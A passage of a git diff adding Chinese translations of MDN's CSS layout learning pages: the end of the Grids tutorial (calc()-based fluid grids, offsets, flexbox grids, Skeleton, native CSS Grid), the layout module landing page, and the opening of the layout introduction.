这允许你插入简单的数学方程到你的CSS值,计算一个值应该是什么。当需要执行复杂的数学运算时,它是特别有用的,甚至可以计算使用不同单位的计算,例如“我希望此元素的高度始终为父级高度的100%,减去50px”。<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">从MediaRecorder API教程中</a>查看<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">此示例</a>。</p> + +<p>无论如何,回到我们的网格!跨越网格的多个列的任何列具有6.25%的总宽度乘以跨越的列数加上2.08333333%乘以槽的数量(其将总是列数减去1)。该calc()函数允许我们在宽度值内部执行此计算,因此对于跨4列的任何项目,我们可以执行此操作,例如:</p> + +<pre class="brush: css notranslate">.col.span4 { + width: calc((6.25%*4) + (2.08333333%*3)); +}</pre> + +<p>尝试使用以下代码替换您的底部规则,然后在浏览器中重新加载它,看看是否得到相同的结果:</p> + +<pre class="brush: css notranslate">.col.span2 { width: calc((6.25%*2) + 2.08333333%); } +.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); } +.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); } +.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); } +.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); } +.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); } +.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); } +.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); } +.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); } +.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); } +.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }</pre> + +<div class="note"> +<p><strong>注意:</strong>您可以在<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">fluid-grid-calc.html</a>(也可以<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">看到它的live</a>)中看到我们的完成版本。</p> +</div> + +<div class="note"> +<p><strong>注意:</strong>如果你不能让这个工作,它可能是因为你的浏览器不支持该calc()功能,虽然它是相当支持跨浏览器 - 远在IE9</p> +</div> + +<h3 id="语义与“非语义”网格系统">语义与“非语义”网格系统</h3> + +<p>向您的标记添加类来定义布局意味着您的内容和标记与其视觉呈现相关联。有时你会听到这种使用描述为“非语义”的CSS类 - 描述内容的外观 - 而不是描述内容的类的语义使用。这正是我们的情况下span2,span3类,等等。</p> + +<p>这些不是唯一的办法,你可以改为决定网格。然后将大小信息添加到现有语义类的规则中。例如,如果你有一个<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/div"><div></a>类content,你想跨越8列,你可以复制从span8类的宽度,给你一个像这样的规则:</p> + +<pre class="brush: css notranslate">.content { + width: calc((6.25%*8) + (2.08333333%*7)); +}</pre> + +<div class="note"> +<p><strong>注意</strong>:如果你使用一个预处理器,如<a href="http://sass-lang.com/">Sass</a>,你可以创建一个简单的mixin来插入这个值。</p> +</div> + +<h3 id="在网格中启用偏移容器">在网格中启用偏移容器</h3> + +<p>我们创建的网格工作良好,只要我们想要启动所有的容器与网格的左手边齐平。如果我们想在第一个容器之前留下一个空的列空间 - 或者在容器之间 - 我们需要创建一个偏移类来添加一个左边距到我们的网站,以推动它在网格上。更多数学!</p> + +<p>让我们试试这个。</p> + +<p>从您之前的代码开始,或使用我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">fluid-grid.html</a>文件作为起点。</p> + +<p>让我们在CSS中创建一个类,它将容器元素偏移一列宽度。将以下内容添加到CSS的底部:</p> + +<pre class="brush: css notranslate">.offset-by-one { + margin-left: calc(6.25% + (2.08333333%*2)); +}</pre> + +<p>如果你喜欢自己计算百分比,请使用这一个:</p> + +<pre class="brush: css notranslate">.offset-by-one { + margin-left: 10.41666666%; +}</pre> + +<p>现在可以将此类添加到任何容器,列如你要在其左侧留下一列宽的空白。在HTML中添加这个:</p> + +<pre class="brush: html notranslate"><div class="col span6">14</div></pre> + +<p>尝试替换它</p> + +<pre class="brush: html notranslate"><div class="col span5 offset-by-one">14</div></pre> + +<div class="note"> +<p><strong>注意</strong>:您需要减少跨越的列数,为偏移量腾出空间!</p> +</div> + +<p>尝试加载和刷新以查看差异,或查看我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-offset.html">fluid-grid-offset.html</a>示例(见<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-offset.html">在线运行</a>)。完成的示例应如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13903/offset-grid-finished.png" style="display: block; height: 47px; margin: 0px auto; width: 944px;"></p> + +<div class="note"> +<p><strong>注意</strong>:作为一个额外的练习,你能实现一个offset-by-two类吗?</p> +</div> + +<h3 id="浮动网格限制">浮动网格限制</h3> + +<p>当使用浮动网格时,你需要注意:你的总宽度要加起来正确,并且你不能在一行中包含跨(越)度为多列的超过该行所能包含的元素。由于浮动工作方式,如果网格列的数量相对于网格变得太宽,则末端上的元素将下降到下一行,从而打破网格。</p> + +<p>还要记住,元素的内容比它们占据的行更宽,它会溢出,会看起来像一团糟。</p> + +<p>这个系统的最大限制是它基本上是一维的。我们处理的是列元素只能跨越多个列,而不能跨越行。这些旧的布局方法非常难以控制元素的高度,而没有明确设置高度,这是一个非常不灵活的方法 - 它只有当你能保证你的内容将是一定的高度才有效。</p> + +<h2 id="Flexbox_网格">Flexbox 网格?</h2> + +<p>如果你阅读我们以前关于<a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Flexbox">flexbox的</a>文章,可能会认为flexbox是创建网格系统的理想解决方案。目前有一些基于flexbox的网格系统可用,flexbox可以解决我们在创建上面的网格时已经发现的许多问题。</p> + +<p>然而,flexbox从来没有被设计为网格系统,并且在作为一体时提出了一系列新的挑战。作为一个简单的例子,我们可以把我们上面使用同样的例子标记和使用以下CSS样式的wrapper,row和col类:</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 2.08333333%; +} + + +.row { + display: flex; +} + +.col { + margin-left: 2.08333333%; + margin-bottom: 1em; + width: 6.25%; + flex: 1 1 auto; + background: rgb(255,150,150); +}</pre> + +<p>你可以在你自己的例子中尝试这些替换,或者看看我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html</a>示例代码(看它如何<a href="http://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">运行</a>)。</p> + +<p>这里我们把每一行变成一个flex容器。使用基于flexbox的网格,我们仍然需要行,以便允许我们添加小于100%的元素。我们设置该容器display: flex。</p> + +<p>在.col我们将<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/flex">flex</a>属性的第一个值(<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/flex-grow">flex-grow</a>)设置为1,项目可以增长,第二个值(<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/flex-shrink">flex-shrink</a>)为1,所以项目可以收缩,第三个值(<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/flex-basis">flex-basis</a>)auto。由于我们的元素有一个<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/width">width</a>集合,auto将使用该宽度作为flex-basis值。</p> + +<p>在顶端,我们在网格上获得十二个整洁的盒子,并且它们随着我们改变视口宽度而同样地增长和收缩。然而,在下一行,我们只有四个项目,这些也从60px基础增长和收缩。只有四个他们可以增长比上面的行中的项目多,结果是他们都占据第二行相同的宽度。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13905/flexbox-grid-incomplete.png" style="display: block; height: 71px; margin: 0px auto; width: 944px;"></p> + +<p>为了解决这个问题,我们仍然需要包含我们的span类来提供一个宽度来替换flex-basis那个元素所使用的值。</p> + +<p>他们也不尊重上面的网格,因为他们不知道如何使用它。</p> + +<p><strong>Flexbox</strong>是<strong>一维</strong>设计。它处理单个维度,即行或列。不能为列和行创建严格的网格,这意味着如果我们要为网格使用flexbox,我们仍然需要为浮动布局计算百分比。</p> + +<p>在您的项目中,您可能仍然选择使用flexbox'grid',因为flexbox提供的额外对齐和空间分布能力超过浮动。但是,您应该知道,您仍在使用工具,而不是它的设计目的。所以你可能会觉得它让你跳过额外的箍,得到你想要的最终结果。</p> + +<h2 id="第三方网格系统">第三方网格系统</h2> + +<p>现在我们了解了我们的网格计算背后的数学,我们是一个很好的地方看看一些第三方网格系统的共同使用。如果你在网上搜索“CSS Grid框架”,你会发现一个巨大的选项列表可供选择。流行的框架如<a href="http://getbootstrap.com/">Bootstrap</a>和<a href="http://foundation.zurb.com/">Foundation</a>包括一个网格系统。还有独立的网格系统,使用CSS或使用预处理器开发。</p> + +<p>让我们来看看这些独立系统之一,因为它演示了使用网格框架的常见技术。我们将使用的网格是Skeleton的一部分,一个简单的CSS框架。</p> + +<p>开始访问<a href="http://getskeleton.com/">Skeleton网站</a>,并选择“下载”以下载ZIP文件,解压缩此文件并将skeleton.css和normalize.css文件复制到一个新目录中。</p> + +<p>制作我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton.html">html-skeleton.html</a>文件副本,并将其保存在与骨架相同的目录中,并规范化CSS。</p> + +<p>在HTML页面中包含骨架并规范化CSS,方法是在其头部添加以下内容:</p> + +<pre class="brush: html notranslate"><link href="normalize.css" rel="stylesheet"> +<link href="skeleton.css" rel="stylesheet"></pre> + +<p>Skeleton不仅仅包括一个网格系统 - 它还包含用于排版的CSS和其他可以用作起点的页面元素。我们现在将这些默认值,但是 - 这是我们真正感兴趣的网格在这里。</p> + +<div class="note"> +<p><strong>注意</strong>:Normalize是由Nicolas Gallagher编写的一个非常有用的小型CSS库,它自动执行一些有用的基本布局修复,并使默认元素样式在不同浏览器之间更一致。</p> +</div> + +<p>我们将使用类似的HTML到我们前面的例子。在您的HTML内文中添加以下内容:</p> + +<pre class="brush: html notranslate"><div class="container"> + <div class="row"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + </div> + <div class="row"> + <div class="col">13</div> + <div class="col">14</div> + <div class="col">15</div> + <div class="col">16</div> + </div> +</div></pre> + +<p>要开始使用Skeleton,我们需要给包装器<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/div"><div></a>一个类container- 这已经包括在我们的HTML中。这将以960像素的最大宽度为中心。你可以看到盒子现在从不变得宽于960像素。</p> + +<p>你可以看一下skeleton.css文件,看看我们应用这个类时使用的CSS。在<div>使用居中auto左,右页边距,以及20像素的填充应用于左侧和右侧。Skeleton也设置<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/box-sizing">box-sizing</a>属性border-box像我们以前做的,所以此元素的填充和边框将包括在总宽度。</p> + +<pre class="brush: css notranslate">.container { + position: relative; + width: 100%; + max-width: 960px; + margin: 0 auto; + padding: 0 20px; + box-sizing: border-box; +}</pre> + +<p>元素只能是网格的一部分(如果它们在一行内),因此与前面的示例一样,我们需要一个额外的<div>或其他元素,其中一个类row嵌套在content <div>实际的内容容器之间<div>。我们已经做到了这一点。</p> + +<p>现在让我们布置集装箱。骨架基于12列网格。顶行框都需要类,one column以使它们跨越一列。</p> + +<p>现在添加这些,如下面的代码段所示:</p> + +<pre class="brush: html notranslate"><div class="container"> + <div class="row"> + <div class="col one column">1</div> + <div class="col one column">2</div> + <div class="col one column">3</div> + /* and so on */ + </div> +</div></pre> + +<p>接下来,给出第二行类上的容器,解释它们应该跨越的列数,如下:</p> + +<pre class="brush: html notranslate"><div class="row"> + <div class="col one column">13</div> + <div class="col six columns">14</div> + <div class="col three columns">15</div> + <div class="col two columns">16</div> +</div></pre> + +<p>尝试保存HTML文件并将其加载到浏览器中以查看效果。</p> + +<div class="note"> +<p><strong>注意</strong>:如果您无法使此示例工作,请尝试将其与我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a>文件进行比较(见<a href="http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">在线运行</a>)。</p> +</div> + +<p>如果你看看skeleton.css文件,你可以看到这是如何工作的。例如,Skeleton对下面定义的样式元素添加了“三列”类。</p> + +<pre class="brush: css notranslate">.three.columns { width: 22%; }</pre> + +<p>所有的Skeleton(或任何其他网格框架)正在设置预定义的类,您可以通过将它们添加到您的标记使用。这和你自己计算这些百分比的工作完全一样。</p> + +<p>正如你所看到的,当使用Skeleton时,我们需要写很少的CSS。它处理所有的浮动我们当我们添加类到我们的标记。正是这种将布局的责任转移到其他使网格系统的框架成为一个引人注目的选择的能力!</p> + +<p>骨架是比你可能遇到的一些框架更简单的网格系统。大型框架(如Bootstrap和Foundation)中的网格为各种屏幕宽度提供了更多的功能和额外的断点。但是,它们都以类似的方式工作 - 通过向您的标记添加特定类,您可以使用预定义网格控制元素的布局。</p> + +<h2 id="本地CSS网格与网格布局">本地CSS网格与网格布局</h2> + +<p>我们在本文一开始所说的,CSS的之前没有过一个真正的体系,用于创建网格布局。但这已经改变了。大部分常用的浏览器的最新版本已经提供了对新<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Grid_Layout">CSS的网格布局模块</a>的支持。</p> + +<p>我们看过上面的Skeleton Grid框架 - 像其他第三方网格,甚至是手工构建的网格,它需要你添加<div>s形成行,然后指定这些行中的项目将跨越的列数。</p> + +<p>使用CSS网格布局,您可以完全在CSS中指定网格,而不需要将这些帮助类添加到标记。让我们看看我们的简单示例,看看我们将如何使用CSS Grid Layout创建相同的布局。</p> + +<h3 id="构建本地网格">构建本地网格</h3> + +<p>首先,通过制作<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/css-grid.html">css-grid.html</a>文件的本地副本来开始。它包含以下标记:</p> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + <div class="col">13</div> + <div class="col span6">14</div> + <div class="col span3">15</div> + <div class="col span2">16</div> +</div></pre> + +<p>这次我们有一个父 <code><div></code> 的类 <code>wrapper</code>,所有的子元素只是直接出现在包装器内——没有行元素。我们已经将一个类添加到应该跨越多个列的项目。</p> + +<p>现在将以下内容添加到<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/style"><style></a>元素中:</p> + +<pre class="brush: css notranslate">.wrapper { + width: 90%; + max-width: 960px; + margin: 0 auto; + display: grid; + grid-template-columns: repeat(12, 1fr); + grid-gap: 20px; +} + +.col { + background: rgb(255,150,150); +}</pre> + +<p>这里我们设置.wrapper规则,因此它是90%的身体宽度,居中,并且 <a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/max-width">max-width</a> 为 960px。</p> + +<p>现在为CSS网格属性。我们可以使用{{cssxref("display")}} 属性的 <code>grid</code> 值声明一个网格,使用 {{cssxref("grid-gap")}} 设置网格的间隔,然后使用{{cssxref("grid-template-columns")}} 属性、 <code>repeat()</code> 函数和 <code>fr</code> 单位——这个为网格布局定义的单位——创建一个12列等宽的网格。</p> + +<p>该fr单元是一小部分单元-它描述在网格容器的可用空间的一小部分。如果所有列都是1fr,它们将占用相等的空间量。这消除了计算百分比以创建灵活网格的需要。</p> + +<p>创建网格后,网格自动布局规则将立即在这个网格上布置我们的框,我们得到一个十二列灵活的网格布局。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13907/css-grid-incomplete.png" style="display: block; height: 70px; margin: 0px auto; width: 971px;"></p> + +<p>要对跨越网格上的多个列轨道的容器进行样式化,我们可以使用该<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/grid-column">grid-column</a>属性。跨6列例如:</p> + +<pre class="brush: css notranslate">.span6 { + grid-column: auto / span 6; +}</pre> + +<p>跨越3:</p> + +<pre class="brush: css notranslate">.span3 { + grid-column: auto / span 3; +}</pre> + +<p>正斜杠之前的值是开始列——在这种情况下,我们没有明确设置,允许浏览器放在下一个可用的列。然后我们可以设置它跨越6,3或我们想要的许多列。</p> + +<p>在CSS的底部添加以下内容:</p> + +<pre class="brush: css notranslate">.span2 { grid-column: auto / span 2;} +.span3 { grid-column: auto / span 3;} +.span4 { grid-column: auto / span 4;} +.span5 { grid-column: auto / span 5;} +.span6 { grid-column: auto / span 6;} +.span7 { grid-column: auto / span 7;} +.span8 { grid-column: auto / span 8;} +.span9 { grid-column: auto / span 9;} +.span10 { grid-column: auto / span 10;} +.span11 { grid-column: auto / span 11;} +.span12 { grid-column: auto / span 12;}</pre> + +<p>OK!尝试保存和刷新,你会看到容器适当地跨多个列。</p> + +<p>CSS网格是<strong>二维</strong>的,因此随着布局的增长和缩小,元素保持水平和垂直排列。</p> + +<p>您可以通过将以下内容替换最后的4个字符串来进行测试<div>:</p> + +<pre class="brush: html notranslate"><div class="col">13some<br>content</div> +<div class="col span6">14this<br>is<br>more<br>content</div> +<div class="col span3">15this<br>is<br>less</div> +<div class="col span2">16</div></pre> + +<p>这里我们有意添加了一些行break(<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/br"><br></a>)标签,以强制某些列变得比其他列高。如果你尝试保存和刷新,你会看到列的高度调整为与最高的容器一样高,所以一切都保持整洁。</p> + +<p>最终的布局如下:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13909/css-grid-finished.png" style="display: block; height: 130px; margin: 0px auto; width: 972px;"></p> + +<div class="note"> +<p>注意:如果您无法使此示例工作,您可以检查您的代码与我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/css-grid-finished.html">完成版本</a>(也可以看<a href="http://mdn.github.io/learning-area/css/css-layout/grids/css-grid-finished.html">在线运行</a>)。</p> +</div> + +<h3 id="一些不错的CSS网格特性">一些不错的CSS网格特性</h3> + +<p>对于CSS网格,我们不需要通过边距来抵消它们。尝试在您的CSS中进行这些更改:</p> + +<pre class="brush: css notranslate">.content { + grid-column: 2 / 8; +}</pre> + +<pre class="brush: html notranslate"><div class="col span2 content">16</div></pre> + +<p>容器16,现在将下一个可用的行上跨越第2列到第8列。</p> + +<p>我们可以像跨越列一样轻松地跨越多行:</p> + +<pre class="brush: css notranslate">.content { + grid-column: 2 / 8; + grid-row: 3 / 5; +}</pre> + +<p>现在将容器16,跨越行3至5以及列2至8。</p> + +<p>不需要使用边距伪造沟槽或显式计算它们的宽度 — CSS网格具有这种功能内置的<code>grid-gap</code> 属性。</p> + +<p>我们只是接触了CSS网格布局所有可能的皮毛,但在本文的行文中要理解的关键是,你不需要用网格创建一个网格系统——它已经是一个了。您可以编写CSS,将项目直接放入预定义的网格上。要了解更多,请看 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout Module</a>。</p> + +<h3 id="主动学习:编写自己的简单网格">主动学习:编写自己的简单网格</h3> + +<p>在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Introduction">CSS布局aticle简介中</a>,我们包括一个关于<a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Introduction#CSS_tables">CSS表</a>的部分,其中包括一个简单的形式示例(参见<a href="https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html">css-tables-example.html</a>实例和<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">源代码</a>)。我们希望您复制此示例,并执行以下操作:</p> + +<ol> + <li>删除 <div>元素 — 将会对你的内容处理行数和列。就不再需要此作为CSS网格。</li> + <li>使用CSS网格属性创建一个接近原始的表单布局,你必须设定容器元素的宽度,并思考怎么设置列的的间隙和行差距。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>:先去做这个,如果你真的卡住了,你可以检查你的代码和我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/css-tables-as-grid.html">css-tables-as-grid.html</a>例子。不要作弊,先试着练习!</p> +</div> + +<h2 id="概要">概要</h2> + +<p>阅读这篇文章后,你应该已经了解了网格布局和网格框架如何在CSS中工作。你也已经窥探未来的CSS网格,现在应该明白,我们今天使用的网格框架本质上是一个临时的解决方案,直到我们有一个广泛支持的本地方式在CSS中实现这一点。</p> + +<p>{{PreviousMenu("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Practical positioning examples</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Grids">Grids</a></li> +</ul> diff --git a/files/zh-cn/learn/css/css_layout/index.html b/files/zh-cn/learn/css/css_layout/index.html new file mode 100644 index 0000000000..eaf24d0bda --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/index.html @@ -0,0 +1,78 @@ +--- +title: CSS 布局 +slug: Learn/CSS/CSS_layout +tags: + - Beginner + - CSS + - Floating + - Grids + - Guide + - Landing + - Layout + - Learn + - Module + - Multiple column + - Positioning + - Styling CSS boxes + - TopicStub + - flexbox + - float +translation_of: Learn/CSS/CSS_layout +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">此刻,我们已经看过CSS的基础知识,如何设置文本的样式,以及如何设置和操作内容所在的框。 现在是时候看看如何把你的盒子放在与视口相关的正确位置上。 我们已经涵盖了必要的先决条件,所以我们现在可以深入到CSS布局,查看不同的显示设置,涉及浮动和定位的传统布局方法,以及像flexbox这样的现代布局工具。</p> + +<h2 id="前提条件:">前提条件:</h2> + +<p>在开始前,你应该已经具备:</p> + +<ol> + <li>对HTML的基础了解,在<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>部分讨论过的。</li> + <li>一定的CSS基础,在<a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>部分讨论过的。</li> + <li>了解如何<a href="/zh-CN/docs/Learn/CSS/Building_blocks">样式化盒子模型</a>.</li> +</ol> + +<div class="note"> +<p><span style="font-size: 14px;"><strong>提示</strong></span>: 如果你在一台电脑/平板电脑/其他设备上工作,而你没有能力创建自己的文件,你可以尝试(大部分)在线编码程序中的代码示例,如 <a href="http://jsbin.com/">JSBin</a> 或 <a href="https://thimble.mozilla.org/">Thimble</a> 。</p> +</div> + +<h2 id="指南">指南</h2> + +<p>这些文章将提供在CSS中可用的基本布局工具和技术的指导。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Introduction">介绍 CSS 布局</a></dt> + <dd>本文将重述一些我们在之前的模块中已经涉及的CSS布局功能——例如不同的 {{cssxref("display")}} 值——并介绍我们将在本单元中涵盖的一些概念。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Normal_Flow">正常布局流</a></dt> + <dd>这篇文章介绍正常的流布局,或者说,在你没有改变默认布局规则情况下的页面元素布局方式。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒</a></dt> + <dd><a href="/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">弹性盒</a> 是一种新技术,但在如今各个浏览器都广泛支持的情况下,它已经开始准备广泛应用了。 弹性盒子提供了工具,允许快速创建曾经被证明用CSS很难实现的一些复杂,灵活的布局和功能。 本文将解释所有的基本原理。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Grids">网格</a></dt> + <dd>网格是一个成熟的设计工具,许多现代网站布局是基于规则网格。在本文中,我们将看看基于网格的设计,以及如何使用CSS来创建网格——两者都通过现在的工具,和刚刚开始在浏览器中可用的新技术。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Floats">浮动</a></dt> + <dd>最初对于文本块中的浮动图像,{{cssxref("float")}}属性已经成为在网页上创建多个列布局的最常用工具之一。本文解释所有。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Positioning">定位</a></dt> + <dd>定位允许您从常规文档布局流程中取出元素,并使它们具有不同的行为,例如坐在另一个之上,或始终保持在浏览器视口内的同一位置。 本文解释不同的{{cssxref("position")}} 值,以及如何使用它们。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">多列布局</a></dt> + <dd>多列布局声明提供了一种多列组织内容的方式,正如你在一些报纸中看到的那样。 这篇文章介绍怎么使用这一特性。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Responsive_Design">响应式布局</a></dt> + <dd>随着越来越多的屏幕尺寸出现在支持Web的设备上,响应式Web设计(RWD)的概念出现了:一组允许网页改变其布局和外观以适应不同的屏幕宽度、分辨率等的实践。这一想法改变了我们为多设备Web设计的方式,在本文中,我们将帮助您了解掌握它所需的主要技术。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Media_queries">媒体查询入门指南</a></dt> + <dd><strong>媒体查询</strong> 提供了一种仅当浏览器和设备环境与您指定的规则匹配时才应用css的方法,例如“viewport(视区)宽度大于480像素”。媒体查询是响应式Web设计的一个关键部分,因为它们允许您根据视区的大小创建不同的布局,但也可以用于检测有关网站运行环境的其他内容,例如用户是否使用触摸屏而不是鼠标。在本节中,您将首先了解媒体查询中使用的语法,然后在一个演示如何使简单设计具有响应性的示例中继续使用它们。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">传统布局方法</a></dt> + <dd>网格系统是css布局中使用的一个非常常见的特性,在css网格布局之前,它们往往使用浮动或其他布局特性来实现。您可以将布局想象为一组列(例如4、6或12),然后将网页内容放入这些列中。在本文中,我们将探讨这些旧方法是如何工作的,以便您了解在处理旧项目时如何使用它们。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">支持旧浏览器</a></dt> + <dd> + <p>在本模块中,我们建议使用弹性盒和网格作为主要布局方法。但是,您的网站会遇到使用旧浏览器的访问者,或者不支持您使用的新布局方法的浏览器。在网络开发上一直有这种状况——那就是随着新特性的开发,不同的浏览器将优先支持不同的特性。本文解释了如何使用现代web技术而不将使用旧版本浏览器的用户拒之门外。</p> + </dd> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">测试: 基本布局掌握</a></dt> + <dd>通过布置网页来测试你对不同布局方法的知识的掌握。</dd> +</dl> + +<h2 id="参见">参见</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">练习定位案例</a></dt> + <dd>在最后一篇文章中介绍了定位的基础知识,现在将讨论构建几个真实世界的例子,以说明你可以通过定位做什么样的事情。</dd> +</dl> diff --git a/files/zh-cn/learn/css/css_layout/introduction/index.html b/files/zh-cn/learn/css/css_layout/introduction/index.html new file mode 100644 index 0000000000..ef7ff27324 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/introduction/index.html @@ -0,0 +1,704 @@ +--- +title: 介绍 CSS 布局 +slug: Learn/CSS/CSS_layout/Introduction +tags: + - CSS + - flexbox + - 介绍 + - 初学者 + - 学习 + - 定位 + - 布局 + - 文章 + - 流 + - 浮动 + - 网格 + - 表格 +translation_of: Learn/CSS/CSS_layout/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary">本文将回顾我们以前模块中已经介绍过的一些CSS布局特性——例如不同的{{cssxref("display")}}值——并介绍我们将在本模块中使用的一些概念。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>对HTML有一些基本的了解 (学习“<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>”), 并且理解CSS的工作原理 (学习“<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS介绍</a>”).</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>对CSS页面布局技术有一个总体的了解. 每种技术都能够在后面的教程中获取到更加详细的信息.</td> + </tr> + </tbody> +</table> + +<p>CSS页面布局技术允许我们拾取网页中的元素,并且控制它们相对正常布局流、周边元素、父容器或者主视口/窗口的位置。在这个模块中将涉及更多关于页面<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/Layout_mode">布局技术</a>的细节:</p> + +<ul> + <li>正常布局流</li> + <li>{{cssxref("display")}}属性</li> + <li>弹性盒子</li> + <li>网格</li> + <li>浮动</li> + <li>定位</li> + <li>CSS 表格布局</li> + <li>多列布局</li> +</ul> + +<p>每种技术都有它们的用途,各有优缺点,相互辅助。通过理解各个布局方法的设计理念,你能够找到构建你想要的网页需要的布局方案。</p> + +<h2 id="正常布局流Normal_flow">正常布局流(Normal flow)</h2> + 